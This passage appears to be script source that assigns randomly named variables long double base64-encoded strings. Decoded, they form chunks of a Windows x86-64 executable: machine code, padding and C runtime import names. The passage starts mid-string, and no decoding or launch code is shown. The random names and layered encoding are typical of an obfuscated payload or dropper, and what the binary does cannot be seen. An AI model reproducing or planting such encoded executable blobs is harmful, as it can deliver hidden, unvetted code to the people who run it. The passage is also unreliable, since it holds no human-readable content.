6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" haZjvFCfAaX = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" vZPlUyTjdULcGVTHUmzRSXXszQRFjEUoLeWjZVFPOiGNyOFRpRJIvSjDGmk = "QUFBQUFBQUFBQUFBQUFBTXpNek16TTZYQkxBQURwQzBzQUFPazhGZ0FBNloxTEFBRHBZalVBQU9uaFN3QUE2ZFpMQUFEcGN3Y0FBT20wU3dBQTZibEtBQURwMURZQUFPbGZEd0FBNlZvZ0FBRHBTVXdBQU9uQUtBQUE2YnN3QUFEcEZFc0FBT24zU2dBQTZWeE1BQURwSnlFQUFPbXlOZ0FBNlhsTEFBRHBHREFBQU9tN1NnQUE2ZjR2QUFEcEdVd0FBT2xrVEFBQTZmOGZBQURweGtvQUFPbG5TZ0FBNlRBZUFBRHBHMkFBQU9uR0xBQUE2WkV2QUFEcDdDOEFBT2tYVEFBQTZkSTRBQURwYlJVQUFPbllYd0FBNmFOTEFBRHAvZzhBQU9uWlN3QUE2ZVFmQUFEcC95a0FBT25hSVFBQTZmVkxBQURwb0RRQUFPa2ZTZ0FBNmZZZkFBRHBYMHNBQU9sOE5BQUE2WmM1QUFEcDhpOEFBT205SHdBQTZaaEtBQURwdlVvQUFPbDhTZ0FBNlI5TEFBRHBSRFlBQU9tUEZBQUE2UVJMQUFEcDVTc0FBT21BU1FBQTZjc2ZBQURwNWlvQUFPa2hMUUFBNlN3UEFBRHBaMHNBQU9tQ0JnQUE2ZTAxQUFEcHdFb0FBT20vU1FBQTZWNUxBQURwZ1VvQUFPbGtTd0FBNlJGS0FBRHAyaTRBQU9uSFNnQUE2U0JMQUFEcHV3b0FBT25PU1FBQTZlOUtBQURwYkN3QUFPazNMd0FBNlhJUUFBRHBRRXNBQU9rb1NnQUE2V01YQUFEcHVrb0FBT212U2dBQTZXUTNBQURwOFVrQUFPbHVTUUFBNlpVdUFBRHBFRXNBQU9sckxnQUE2Wll5QUFEcFVSOEFB" tTcokkYimbNUQxVmaFGdwTJuSZjxeiJMAFbGsSCr = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" jCDGmeITNx = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" BHGCUEAlNjHwSYAoKMdtxBsHfu = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" QCvxYrufwAwJmOgajhdubCnaXlXrdAifKoAZVqfIMhXUSnFsJEpGx = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNekdabUR4K0VBQUFBQUFELzRNek16TXpNek16TXpNek16TXpNek16TXpNek1abVlQSDRRQUFBQUFBUDhsV3I4QUFNek16TXpNek16TXpNek16TXpNek16TXpNek16" yPeffAvpRkwnFgAvycVKfbTZwpVyPepiOGTNCcceUpvsiQCbKCeQmFYmr = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" AgueKiModrZKnzNcDlSlciLGxibrcCzQwfyoKRKeKsrjDfBcZejuWjlgDcWTgkzJa = "aGNCMGRVRzRCQUVBQUVpTmxDUXdBZ0FBU0l2STZDekkvLytGd0hSYlFiZ0VBUUFBU0kxVUpDQklqWXdrTUFJQUFPaWlCQUFBaGNCMFB6UFNTSTFNSkNCQnVBQUpBQURvZHNULy8waUZ3QStGcHdBQUFQOFYxY1FBQUlQNFYzVVpNOUpFalVDeFNJMU1KQ0RvVXNULy8waUZ3QStGZ3dBQUFEUFNTSTBOWG1zQUFFRzRBQW9BQU9nMXhQLy9TSVhBZFdyL0ZaakVBQUNEK0ZkMVhVRzRCQUVBQUVpTmxDUXdBZ0FBTThub2xNZi8vNFhBZEVSQnVBUUJBQUJJalZRa0lFaU5qQ1F3QWdBQTZBb0VBQUNGd0hRb005SklqVXdrSUVTTlFnam80TVAvLzBpTGpDUkFCQUFBU0RQTTZHL0YvLzlJZ2NSWUJBQUF3elBBU0l1TUpFQUVBQUJJTTh6b1ZjWC8vMGlCeEZnRUFBRER6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16RWlKWENRSVNJbDBKQkJJaVh3a0dFeUpkQ1FnVlVpTnJDU1Evdi8vU0lIc2NBSUFBRWlMQlIyREFBQklNOFJJaVlWZ0FRQUFNOUpJalEyaWFBQUFRYmdBQ0FBQTZBSEQvLzlJaS9oSWhjQjFSRFBTU0kwTjNtZ0FBRUc0QUFnQUFPamx3di8vU0l2NFNJWEFkU2ovRlVYREFBQ0QrRmNQaFpnQUFBQkZNOEJJalEy" CMcHjPZdSArLleKhnlmUMet = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" tmhPQej = "SkNHRFBXUzBBQUFCZFF5NUJ3QUFBT2czNy8vLzYxaURQVSswQUFBQWRVckhCVU8wQUFBQkFBQUFTSTBWZElJQUFFaU5EVDEvQUFEb25lMy8vNFhBZEFxNC93QUFBT2tqQVFBQVNJMFZFMzRBQUVpTkRleDdBQURvK083Ly84Y0ZCYlFBQUFJQUFBRHJCY1pFSkNBQkQ3Wk1KQ0hvdis3Ly8raFc3di8vU0lsRUpEQklpMFFrTUVpRE9BQjBQVWlMVENRdzZQTHMvLzhQdHNDRndIUXNTSXRFSkRCSWl3QklpVVFrU0VpTFJDUklTSWxFSkZCRk04QzZBZ0FBQURQSlNJdEVKRkQvRlpvTEFRRG9OdTcvLzBpSlJDUTRTSXRFSkRoSWd6Z0FkQjVJaTB3a09PaWc3UC8vRDdiQWhjQjBEVWlMUkNRNFNJc0k2SS91Ly8vb0lnRUFBSWxFSkNqb3F1My8vdysyd0lYQWRRbUxUQ1FvNkg3ci8vOFB0a1FrSUlYQWRRWG9iZTcvL3pQU3NRSG9TT3ovLzR0RUpDanJOWWxFSkNTTFJDUWtpVVFrTE9oczdmLy9EN2JBaGNCMUNZdE1KQ3pvNU96Ly93KzJSQ1FnaGNCMUJlaFo3UC8vaTBRa0xPc0FTSVBFYU1QTXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXhJZyt3bzZEZnMvLytMeU9qVTdmLy9TSVBFS01Q" HMoOPkeugJdMLpGdjluwNnPIJwghxQyhDoAnlaBJgjLxBMyaowUuCgCLsTuoPjRcJkk = "QkRBRUFERUlBQUFFS0F3QUt3Z1p3QldBQUFBQUFBQUFCRndFQUYySUFBQUVFQVFBRVFnQUFBUVFCQUFSQ0FBQUJCQUVBQkVJQUFBRUVBUUFFUWdBQUFRUUJBQVJDQUFBQkJBRUFCRUlBQUFFSkFRQUpRZ0FBQVE0QkFBNWlBQUFCQkFFQUJHSUFBQUVHQWdBR2NnSndBUVFCQUFSQ0FBQUJCQUVBQkVJQUFBRUVBUUFFWWdBQUFRUUJBQVFpQUFBQkNRTUFDUUVVQUFKd0FBQUFBQUFBQVFRQkFBUmlBQUFCQkFFQUJFSUFBQUVFQVFBRVFnQUFBUXdEQUF3QnZnQUZjQUFBQUFBQUFBRUpBUUFKWWdBQUFRb0VBQW8wQmdBS01nWndBQUFBQUFFS0JBQUtOQVlBQ2pJR2NBQUFBQUFCQ1FFQUNTSUFBQUVKQVFBSlFnQUFBUVFCQUFSaUFBQUJDUUVBQ1VJQUFBRUpBUUFKUWdBQUFRa0JBQWxDQUFBQkNRRUFDVUlBQUFFSkFRQUpRZ0FBQVJNQkFCTkNBQUFCRXdFQUUwSUFBQUVUQVFBVFFnQUFBUk1CQUJOQ0FBQUJHd2tBR3dFV0FBL2dEZEFMd0Fsd0NHQUhNQVpRQUFBQUFBQUFHVFVMQUNUa1V3QWtkRklBSkdSUkFDUTBVQUFrQVU0QUZWQUFBRThSQVFCZ0FnQUFBQUFBQUJrZkJRQU5OTk1BRFFIT0FBWndBQUJQRVFFQVlBWUFBQUFBQUFBWkdRSUFCd0dMQUU4UkFRQkFCQUFBQUFBQUFCa1ZBZ0FHa2dJd1R4RUJBRUFBQUFBQUFBQUFBUVFCQUFRaUFBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" wSmoLUZYFsZlCEgyqFEUQperFTvljoBPZzetdZXCawKnEaJnXzmqo = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" JuXQYROQBBeUStRcoCeCphWvZNIpiJ = "WFJmYVc1cGRHbGhiRjl1WVhKeWIzZGZaVzUyYVhKdmJtMWxiblFBZEFGZmFXNXBkSFJsY20wQWRRRmZhVzVwZEhSbGNtMWZaUUJRQkdWNGFYUUFBT29BWDJWNGFYUUF5d0pmYzJWMFgyWnRiMlJsQUFCSkFGOWZjRjlmWDJGeVoyTUFBRW9BWDE5d1gxOWZZWEpuZGdBQXBBQmZZMlY0YVhRQUFKOEFYMk5mWlhocGRBQzJBbDl5WldkcGMzUmxjbDkwYUhKbFlXUmZiRzlqWVd4ZlpYaGxYMkYwWlhocGRGOWpZV3hzWW1GamF3QUF0UUJmWTI5dVptbG5kR2h5WldGa2JHOWpZV3hsQU00Q1gzTmxkRjl1WlhkZmJXOWtaUUJOQUY5ZmNGOWZZMjl0Ylc5a1pRQUFMQVZ6ZEhKamNIbGZjd0FBS0FWemRISmpZWFJmY3dBQWFBQmZYM04wWkdsdlgyTnZiVzF2Ymw5MmMzQnlhVzUwWmw5ekFNSUNYM05sYUY5bWFXeDBaWEpmWkd4c0FISUJYMmx1YVhScFlXeHBlbVZmYjI1bGVHbDBYM1JoWW14bEFBQzFBbDl5WldkcGMzUmxjbDl2Ym1WNGFYUmZablZ1WTNScGIyNEE1UUJmWlhobFkzVjBaVjl2Ym1WNGFYUmZkR0ZpYkdVQXdnQmZZM0owWDJGMFpYaHBkQURCQUY5amNuUmZZWFJmY1hWcFkydGZaWGhwZEFBQVN3VjBaWEp0YVc1aGRHVUFuQU5mZDIxaGEyVndZWFJvWDNNQUFMZ0RYM2R6Y0d4cGRIQmhkR2hmY3dCa0JYZGpjMk53ZVY5ekFBQjFZM0owWW1GelpXUXVaR3hzQUM4Q1IyVjBRM1Z5Y21WdWRGUm9jbVZo" iXJYTzXYeRAxxAdcdWEMcLSgPDiYSsfZ = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" KmMyLqjCSWrwNkvMlzkbnHsgwwqlHKsuoDdMRWhvofvhmkeBSrORbXcwXqgjIYnoYoIGIb = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" fNRbSvFMgVUyiPQKVtUtSCvCrotHNgIDP = "UUlTSVBzS0VpTFRDUXc2QWJKLy85SWc4UW93OHpNek16TXpNek1TSWxNSkFoSWcrd29TSXRNSkREb3pRQUFBSVhBZEFITVNJUEVLTVBNek16TXpNek16TXpNek16TXpNek16TXpNU0lsTUpBaElnK3dvU0l0TUpERG9uUUFBQUlYQWRBZTVRUUFBQU0wcFNJUEVLTVBNek16TXpNek16TXpNek16TVNJbE1KQWpEek16TXpNek16TXpNekVpSlRDUUlTSVBzS0VpTFRDUXc2RjBBQUFDRndIUUtTSXRNSkREb0R3QUFBRWlEeENqRHpNek16TXpNek16TXpFaUpUQ1FJU0lQc0tFaUxCVERvQUFCSWhjQjBEa2lMQlNUb0FBQklpMHdrTVAvUVNJUEVLTVBNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNeElpVXdrQ0VpRDdDaElqUVVnY2dBQVNBV0FBQUFBU0lsRUpBaElqUVVPZEFBQVNJbEVKQkJJaTBRa0NFaUxUQ1FRU0N2SVNJdkJTSWxFSkJoSWkwUWtDRWlMVENRd1NDdklTSXZCU0R0RUpCaDNDY2NFSkFFQUFBRHJCOGNFSkFBQUFBQ0xCQ1JJZzhRb3c4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNeE1pVVFrR0VpSlZDUVFTSWxNSkFoSWcrd29USXRFSkVCSWkxUWtPRWlMVENRdzZBa0JBQUNGd0hRUFNJdE1KRERvTy8vLy80WEFkQUhNU0lQRUtNUE16TXpNek16TXpNek16TXpNek16TXpFeUpSQ1FZU0lsVUpCQklpVXdrQ0VpRDdDaE1pMFFrUUVpTFZDUTRT" BsDNqzhXCtPbEzVKpyDrbfU = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" wYrrjLfnbUwYi = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUpSTUJRQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ